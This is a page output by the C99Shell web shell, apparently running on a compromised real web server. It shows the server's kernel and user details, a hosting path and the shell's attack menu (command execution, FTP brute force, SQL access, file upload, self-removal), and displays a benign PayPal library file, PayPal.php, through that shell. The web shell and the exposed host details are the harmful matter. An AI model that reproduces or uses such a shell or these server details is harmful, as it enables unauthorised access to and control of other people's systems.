!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/srmklive/paypal/src/Services/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PayPal.php (1.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Srmklive\PayPal\Services;

use 
Exception;
use 
Srmklive\PayPal\Traits\PayPalRequest as PayPalAPIRequest;
use 
Srmklive\PayPal\Traits\PayPalVerifyIPN;

class 
PayPal
{
    use 
PayPalAPIRequest;
    use 
PayPalVerifyIPN;

    
/**
     * PayPal constructor.
     *
     * @param array $config
     *
     * @throws Exception
     */
    
public function __construct(array $config = [])
    {
        
// Setting PayPal API Credentials
        
$this->setConfig($config);

        
$this->httpBodyParam 'form_params';

        
$this->options = [];

        
$this->setRequestHeader('Accept''application/json');
    }

    
/**
     * Set ExpressCheckout API endpoints & options.
     *
     * @param array $credentials
     */
    
protected function setOptions(array $credentials): void
    
{
        
// Setting API Endpoints
        
$this->config['api_url'] = 'https://api-m.paypal.com';

        
$this->config['gateway_url'] = 'https://www.paypal.com';
        
$this->config['ipn_url'] = 'https://ipnpb.paypal.com/cgi-bin/webscr';

        if (
$this->mode === 'sandbox') {
            
$this->config['api_url'] = 'https://api-m.sandbox.paypal.com';

            
$this->config['gateway_url'] = 'https://www.sandbox.paypal.com';
            
$this->config['ipn_url'] = 'https://ipnpb.sandbox.paypal.com/cgi-bin/webscr';
        }

        
// Adding params outside sandbox / live array
        
$this->config['payment_action'] = $credentials['payment_action'];
        
$this->config['notify_url'] = $credentials['notify_url'];
        
$this->config['locale'] = $credentials['locale'];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0085 ]--